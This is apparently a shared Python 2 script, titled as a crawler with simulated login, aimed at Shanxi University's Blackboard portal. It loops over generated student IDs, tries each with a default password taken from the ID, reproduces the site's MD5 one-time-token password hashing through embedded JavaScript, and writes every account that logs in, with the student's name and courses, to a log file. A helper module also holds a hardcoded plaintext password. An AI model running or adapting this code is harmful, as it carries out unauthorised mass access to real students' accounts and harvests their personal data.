python 爬虫模拟登陆

# _*_ coding: utf-8 _*_
__author__ = 'willxin'
__date__ = '2017/8/24  12:50'

from time import sleep
import urllib
import urllib2
import cookielib
import PyV8
from bs4 import BeautifulSoup
import md5utils

# filename = 'cookie.txt'
# user_agent = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0'
# headers = { 'User-Agent' : user_agent ,'Referer':'http://www.baidu.com/'}

SWITCH = False

def get_course(opener=None):
if opener!=None:
course_Url = 'http://bb.sxu.edu.cn/webapps/portal/execute/tabs/tabAction?tab_tab_group_id=_2_1&forwardUrl=edit_module%2F_4_1%2Fbbcourseorg%3Fcmd%3Dedit&recallUrl=%2Fwebapps%2Fportal%2Fexecute%2Ftabs%2FtabAction%3Ftab_tab_group_id%3D_2_1'
result = opener.open(course_Url)
bs_obj = BeautifulSoup(result.read(), "html.parser")
strong_list = bs_obj.findAll('strong')

for item in strong_list:
print item.get_text()

def get_username(opener=None):
if opener != None:
username_Url = 'http://bb.sxu.edu.cn/webapps/portal/execute/tabs/tabAction?tab_tab_group_id=_2_1'
result = opener.open(username_Url)
bs_obj = BeautifulSoup(result.read(), "lxml")
username = bs_obj.head.title.get_text()

if username!=u'sxu':
# username = username.decode('utf-8')
content =  u'姓名：' + username.split(u"，")[1]

with open('c:/log1.txt', 'a') as f:
f.write(content.encode('utf-8'))
global SWITCH
SWITCH = True

def core(xuehao=None,mima=None):
if xuehao!=None and mima !=None:
cookie = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie))
raw_value = {
'user_id': xuehao,
'password': mima,
'action': 'login',
'remote-user': '',
'new_loc': '',
'auth_type': '',
# 'one_time_token' :''
# 'encoded_pw' :'',
# 'encoded_pw_unicode' :''
}

# 登录教务系统的URL
loginUrl = 'http://bb.sxu.edu.cn/'
result = opener.open(loginUrl)
bs_obj = BeautifulSoup(result.read(), "lxml")

# 格式化POST数据
postdata = urllib.urlencode(raw_value)

# 从Tag中获取one_time_token
input_list = bs_obj.findAll('input', attrs={'name': 'one_time_token'})
one_time_token = input_list[0]['value']

postdata += '&' + urllib.urlencode({'one_time_token': one_time_token})

# 调用网页javascript API 获取加密后的密码
passwd_dic = md5utils.utils(password=raw_value['password'],one_time_token=one_time_token)

# 添加encoded_pw到POST中
postdata += '&' + urllib.urlencode({'encoded_pw': passwd_dic['encoded_pw']})

# 添加encoded_pw_unicode到POST中
postdata += '&' + urllib.urlencode({'encoded_pw_unicode': passwd_dic['encoded_pw_unicode']})

# 发送POST ，正式登陆
result = opener.open(loginUrl, postdata)

get_username(opener)
get_course(opener)

def main():
class_list = ['09','10',
'11','12','13','14','15','16','17','18','19']
for num in class_list:
prefix = num
with open('c:/log1.txt', 'a') as f:
f.write(u'-------{0}班:'.format(num).encode('utf-8') + '\n')
for suffix in range(1,61):
xuehao = 's146214' + prefix
if suffix<10:
suffix = '0' + str(suffix)
xuehao += str(suffix)
mima = xuehao[1:]
print xuehao
# print u'学号：'+ xuehao + u'登陆bb系统成功！'
core(xuehao=xuehao,mima=mima)
global SWITCH
if SWITCH:
SWITCH = False
content = u'   学号：'+ xuehao +u'   登陆bb系统成功！'
with open('c:/log1.txt', 'a') as f:
f.write(content.encode('utf-8')+'\n')

# sleep(1)

if __name__ == '__main__':
main()

# _*_ coding: utf-8 _*_
__author__ = 'willxin'
__date__ = '2017/8/24  17:28'

import PyV8

# md5.js == calcMD5
def _calcMD5(passwd=None):
if passwd!=None:
ctxt = PyV8.JSContext()
ctxt.enter()
ctxt.eval("""

var hexcase = 1;  /* hex output format. 0 - lowercase; 1 - uppercase        */
var b64pad  = "="; /* base-64 pad character. "=" for strict RFC compliance   */
var chrsz   = 16;  /* bits per input character. 8 - ASCII; 16 - Unicode      */

function calcMD5(s){ return binl2hex(core_md5(str2binl(s), s.length * chrsz));}
function b64_md5(s){ return binl2b64(core_md5(str2binl(s), s.length * chrsz));}
function b64_unicode(s){ return binl2b64(str2binl(s), s.length * chrsz);}
function str_md5(s){ return binl2str(core_md5(str2binl(s), s.length * chrsz));}
function hex_hmac_md5(key, data) { return binl2hex(core_hmac_md5(key, data)); }
function b64_hmac_md5(key, data) { return binl2b64(core_hmac_md5(key, data)); }
function str_hmac_md5(key, data) { return binl2str(core_hmac_md5(key, data)); }

function md5_vm_test()
{
return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72";
}

function core_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;

var a =  1732584193;
var b = -271733879;
var c = -1732584194;
var d =  271733878;

for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;

a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17,  606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12,  1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 ,  1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 ,  1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22,  1236535329);

a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14,  643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 ,  38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 ,  568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20,  1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14,  1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);

a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16,  1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11,  1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 ,  681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23,  76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16,  530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);

a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10,  1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 ,  1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 ,  1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21,  1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15,  718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);

a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);

}

function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}

function core_hmac_md5(key, data)
{
var bkey = str2binl(key);
if(bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);

var ipad = Array(16), opad = Array(16);
for(var i = 0; i < 16; i++)
{
ipad[i] = bkey[i] ^ 0x36363636;
opad[i] = bkey[i] ^ 0x5C5C5C5C;
}

var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);
return core_md5(opad.concat(hash), 512 + 128);
}

function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}

function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}

function str2binl(str)
{
var bin = Array();
var mask = (1 << chrsz) - 1;
for(var i = 0; i < str.length * chrsz; i += chrsz)
bin[i>>5] |= (str.charCodeAt(i / chrsz) & mask) << (i%32);
return bin;
}

function binl2str(bin)
{
var str = "";
var mask = (1 << chrsz) - 1;
for(var i = 0; i < bin.length * 32; i += chrsz)
str += String.fromCharCode((bin[i>>5] >>> (i % 32)) & mask);
return str;
}

function binl2hex(binarray)
{
var hex_tab = hexcase ? "0123456789ABCDEF" : "0123456789abcdef";
var str = "";
for(var i = 0; i < binarray.length * 4; i++)
{
str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
hex_tab.charAt((binarray[i>>2] >> ((i%4)*8  )) & 0xF);
}
return str;
}

function binl2b64(binarray)
{
var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var str = "";
for(var i = 0; i < binarray.length * 4; i += 3)
{
var triplet = (((binarray[i   >> 2] >> 8 * ( i   %4)) & 0xFF) << 16)
| (((binarray[i+1 >> 2] >> 8 * ((i+1)%4)) & 0xFF) << 8 )
|  ((binarray[i+2 >> 2] >> 8 * ((i+2)%4)) & 0xFF);
for(var j = 0; j < 4; j++)
{
if(i * 8 + j * 6 > binarray.length * 32) str += b64pad;
else str += tab.charAt((triplet >> 6*(3-j)) & 0x3F);
}
}
return str;
}

""")
func = ctxt.locals.calcMD5
# print func(passwd)
return func(passwd)

# md5-legacy.js == hex_md5
def _hex_md5(passwd=None):
if passwd != None:
ctxt = PyV8.JSContext()
ctxt.enter()
ctxt.eval("""
function array(n) {
for(i=0;i<n;i++) this[i]=0;
this.length=n;
}

function integer(n) { return n%(0xffffffff+1); }

function shr(a,b) {
a=integer(a);
b=integer(b);
if (a-0x80000000>=0) {
a=a%0x80000000;
a>>=b;
a+=0x40000000>>(b-1);
} else
a>>=b;
return a;
}

function shl1(a) {
a=a%0x80000000;
if (a&0x40000000==0x40000000)
{
a-=0x40000000;
a*=2;
a+=0x80000000;
} else
a*=2;
return a;
}

function shl(a,b) {
a=integer(a);
b=integer(b);
for (var i=0;i<b;i++) a=shl1(a);
return a;
}

function and(a,b) {
a=integer(a);
b=integer(b);
var t1=(a-0x80000000);
var t2=(b-0x80000000);
if (t1>=0)
if (t2>=0)
return ((t1&t2)+0x80000000);
else
return (t1&b);
else
if (t2>=0)
return (a&t2);
else
return (a&b);
}

function or(a,b) {
a=integer(a);
b=integer(b);
var t1=(a-0x80000000);
var t2=(b-0x80000000);
if (t1>=0)
if (t2>=0)
return ((t1|t2)+0x80000000);
else
return ((t1|b)+0x80000000);
else
if (t2>=0)
return ((a|t2)+0x80000000);
else
return (a|b);
}

function xor(a,b) {
a=integer(a);
b=integer(b);
var t1=(a-0x80000000);
var t2=(b-0x80000000);
if (t1>=0)
if (t2>=0)
return (t1^t2);
else
return ((t1^b)+0x80000000);
else
if (t2>=0)
return ((a^t2)+0x80000000);
else
return (a^b);
}

function not(a) {
a=integer(a);
return (0xffffffff-a);
}

var state = new array(4);
var count = new array(2);
count[0] = 0;
count[1] = 0;
var buffer = new array(64);
var transformBuffer = new array(16);
var digestBits = new array(16);

var S11 = 7;
var S12 = 12;
var S13 = 17;
var S14 = 22;
var S21 = 5;
var S22 = 9;
var S23 = 14;
var S24 = 20;
var S31 = 4;
var S32 = 11;
var S33 = 16;
var S34 = 23;
var S41 = 6;
var S42 = 10;
var S43 = 15;
var S44 = 21;

function F(x,y,z) {
return or(and(x,y),and(not(x),z));
}

function G(x,y,z) {
return or(and(x,z),and(y,not(z)));
}

function H(x,y,z) {
return xor(xor(x,y),z);
}

function I(x,y,z) {
return xor(y ,or(x , not(z)));
}

function rotateLeft(a,n) {
return or(shl(a, n),(shr(a,(32 - n))));
}

function FF(a,b,c,d,x,s,ac) {
a = a+F(b, c, d) + x + ac;
a = rotateLeft(a, s);
a = a+b;
return a;
}

function GG(a,b,c,d,x,s,ac) {
a = a+G(b, c, d) +x + ac;
a = rotateLeft(a, s);
a = a+b;
return a;
}

function HH(a,b,c,d,x,s,ac) {
a = a+H(b, c, d) + x + ac;
a = rotateLeft(a, s);
a = a+b;
return a;
}

function II(a,b,c,d,x,s,ac) {
a = a+I(b, c, d) + x + ac;
a = rotateLeft(a, s);
a = a+b;
return a;
}

function transform(buf,offset) {
var a=0, b=0, c=0, d=0;
var x = transformBuffer;

a = state[0];
b = state[1];
c = state[2];
d = state[3];

for (i = 0; i < 16; i++) {
x[i] = and(buf[i*4+offset],0xff);
for (j = 1; j < 4; j++) {
x[i]+=shl(and(buf[i*4+j+offset] ,0xff), j * 8);
}
}

a = FF ( a, b, c, d, x[ 0], S11, 0xd76aa478);
d = FF ( d, a, b, c, x[ 1], S12, 0xe8c7b756);
c = FF ( c, d, a, b, x[ 2], S13, 0x242070db);
b = FF ( b, c, d, a, x[ 3], S14, 0xc1bdceee);
a = FF ( a, b, c, d, x[ 4], S11, 0xf57c0faf);
d = FF ( d, a, b, c, x[ 5], S12, 0x4787c62a);
c = FF ( c, d, a, b, x[ 6], S13, 0xa8304613);
b = FF ( b, c, d, a, x[ 7], S14, 0xfd469501);
a = FF ( a, b, c, d, x[ 8], S11, 0x698098d8);
d = FF ( d, a, b, c, x[ 9], S12, 0x8b44f7af);
c = FF ( c, d, a, b, x[10], S13, 0xffff5bb1);
b = FF ( b, c, d, a, x[11], S14, 0x895cd7be);
a = FF ( a, b, c, d, x[12], S11, 0x6b901122);
d = FF ( d, a, b, c, x[13], S12, 0xfd987193);
c = FF ( c, d, a, b, x[14], S13, 0xa679438e);
b = FF ( b, c, d, a, x[15], S14, 0x49b40821);

a = GG ( a, b, c, d, x[ 1], S21, 0xf61e2562);
d = GG ( d, a, b, c, x[ 6], S22, 0xc040b340);
c = GG ( c, d, a, b, x[11], S23, 0x265e5a51);
b = GG ( b, c, d, a, x[ 0], S24, 0xe9b6c7aa);
a = GG ( a, b, c, d, x[ 5], S21, 0xd62f105d);
d = GG ( d, a, b, c, x[10], S22,  0x2441453);
c = GG ( c, d, a, b, x[15], S23, 0xd8a1e681);
b = GG ( b, c, d, a, x[ 4], S24, 0xe7d3fbc8);
a = GG ( a, b, c, d, x[ 9], S21, 0x21e1cde6);
d = GG ( d, a, b, c, x[14], S22, 0xc33707d6);
c = GG ( c, d, a, b, x[ 3], S23, 0xf4d50d87);
b = GG ( b, c, d, a, x[ 8], S24, 0x455a14ed);
a = GG ( a, b, c, d, x[13], S21, 0xa9e3e905);
d = GG ( d, a, b, c, x[ 2], S22, 0xfcefa3f8);
c = GG ( c, d, a, b, x[ 7], S23, 0x676f02d9);
b = GG ( b, c, d, a, x[12], S24, 0x8d2a4c8a);

a = HH ( a, b, c, d, x[ 5], S31, 0xfffa3942);
d = HH ( d, a, b, c, x[ 8], S32, 0x8771f681);
c = HH ( c, d, a, b, x[11], S33, 0x6d9d6122);
b = HH ( b, c, d, a, x[14], S34, 0xfde5380c);
a = HH ( a, b, c, d, x[ 1], S31, 0xa4beea44);
d = HH ( d, a, b, c, x[ 4], S32, 0x4bdecfa9);
c = HH ( c, d, a, b, x[ 7], S33, 0xf6bb4b60);
b = HH ( b, c, d, a, x[10], S34, 0xbebfbc70);
a = HH ( a, b, c, d, x[13], S31, 0x289b7ec6);
d = HH ( d, a, b, c, x[ 0], S32, 0xeaa127fa);
c = HH ( c, d, a, b, x[ 3], S33, 0xd4ef3085);
b = HH ( b, c, d, a, x[ 6], S34,  0x4881d05);
a = HH ( a, b, c, d, x[ 9], S31, 0xd9d4d039);
d = HH ( d, a, b, c, x[12], S32, 0xe6db99e5);
c = HH ( c, d, a, b, x[15], S33, 0x1fa27cf8);
b = HH ( b, c, d, a, x[ 2], S34, 0xc4ac5665);

a = II ( a, b, c, d, x[ 0], S41, 0xf4292244);
d = II ( d, a, b, c, x[ 7], S42, 0x432aff97);
c = II ( c, d, a, b, x[14], S43, 0xab9423a7);
b = II ( b, c, d, a, x[ 5], S44, 0xfc93a039);
a = II ( a, b, c, d, x[12], S41, 0x655b59c3);
d = II ( d, a, b, c, x[ 3], S42, 0x8f0ccc92);
c = II ( c, d, a, b, x[10], S43, 0xffeff47d);
b = II ( b, c, d, a, x[ 1], S44, 0x85845dd1);
a = II ( a, b, c, d, x[ 8], S41, 0x6fa87e4f);
d = II ( d, a, b, c, x[15], S42, 0xfe2ce6e0);
c = II ( c, d, a, b, x[ 6], S43, 0xa3014314);
b = II ( b, c, d, a, x[13], S44, 0x4e0811a1);
a = II ( a, b, c, d, x[ 4], S41, 0xf7537e82);
d = II ( d, a, b, c, x[11], S42, 0xbd3af235);
c = II ( c, d, a, b, x[ 2], S43, 0x2ad7d2bb);
b = II ( b, c, d, a, x[ 9], S44, 0xeb86d391);

state[0] +=a;
state[1] +=b;
state[2] +=c;
state[3] +=d;

}

function init() {
count[0]=count[1] = 0;
state[0] = 0x67452301;
state[1] = 0xefcdab89;
state[2] = 0x98badcfe;
state[3] = 0x10325476;
for (i = 0; i < digestBits.length; i++)
digestBits[i] = 0;
}

function update(b) {
var index,i;

index = and(shr(count[0],3) , 0x3f);
if (count[0]<0xffffffff-7)
count[0] += 8;
else {
count[1]++;
count[0]-=0xffffffff+1;
count[0]+=8;
}
buffer[index] = and(b,0xff);
if (index  >= 63) {
transform(buffer, 0);
}
}

function finish() {
var bits = new array(8);
var  padding;
var  i=0, index=0, padLen=0;

for (i = 0; i < 4; i++) {
bits[i] = and(shr(count[0],(i * 8)), 0xff);
}
for (i = 0; i < 4; i++) {
bits[i+4]=and(shr(count[1],(i * 8)), 0xff);
}
index = and(shr(count[0], 3) ,0x3f);
padLen = (index < 56) ? (56 - index) : (120 - index);
padding = new array(64);
padding[0] = 0x80;
for (i=0;i<padLen;i++)
update(padding[i]);
for (i=0;i<8;i++)
update(bits[i]);

for (i = 0; i < 4; i++) {
for (j = 0; j < 4; j++) {
digestBits[i*4+j] = and(shr(state[i], (j * 8)) , 0xff);
}
}
}

function hexa(n) {
var hexa_h = "0123456789abcdef";
var hexa_c="";
var hexa_m=n;
for (hexa_i=0;hexa_i<8;hexa_i++) {
hexa_c=hexa_h.charAt(Math.abs(hexa_m)%16)+hexa_c;
hexa_m=Math.floor(hexa_m/16);
}
return hexa_c;
}

var ascii="01234567890123456789012345678901" +
" !\\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ"+
"[\\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

function hex_md5(entree)
{
var l,s,k,ka,kb,kc,kd;

init();
for (k=0;k<entree.length;k++) {
l=entree.charAt(k);
update(ascii.lastIndexOf(l));
}
finish();
ka=kb=kc=kd=0;
for (i=0;i<4;i++) ka+=shl(digestBits[15-i], (i*8));
for (i=4;i<8;i++) kb+=shl(digestBits[15-i], ((i-4)*8));
for (i=8;i<12;i++) kc+=shl(digestBits[15-i], ((i-8)*8));
for (i=12;i<16;i++) kd+=shl(digestBits[15-i], ((i-12)*8));
s=hexa(kd)+hexa(kc)+hexa(kb)+hexa(ka);
var the_hash = s.toString();
var the_uc_hash = the_hash.toUpperCase();
return the_uc_hash;
}

""")
func = ctxt.locals.hex_md5
# print func(passwd)
return func(passwd)

def utils(password=None,one_time_token=None):
if password!=None and one_time_token!=None:
passwd_enc = _hex_md5(password);
encoded_pw_unicode = _calcMD5(password);

final_to_encode = passwd_enc + one_time_token;
encoded_pw = _hex_md5(final_to_encode);

final_to_encode = encoded_pw_unicode + one_time_token;
encoded_pw_unicode = _calcMD5(final_to_encode);

return {'encoded_pw':encoded_pw,
'encoded_pw_unicode':encoded_pw_unicode,
}

def main():
result_dic = utils(password='xjw13663429459',one_time_token='5C6EBF3BE3BB0E781F97986E51B58F91')
print result_dic['encoded_pw']
print result_dic['encoded_pw_unicode']

if __name__ == '__main__':
main()